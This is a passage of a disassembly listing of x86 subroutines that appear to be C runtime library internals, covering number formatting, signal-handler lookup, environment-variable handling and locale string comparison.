CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx call near ptr 25E0000h nop test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx nop call near ptr 25E077Ch test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E077Ch jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 2890000h nop test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call near ptr 2800000h nop mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2800000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 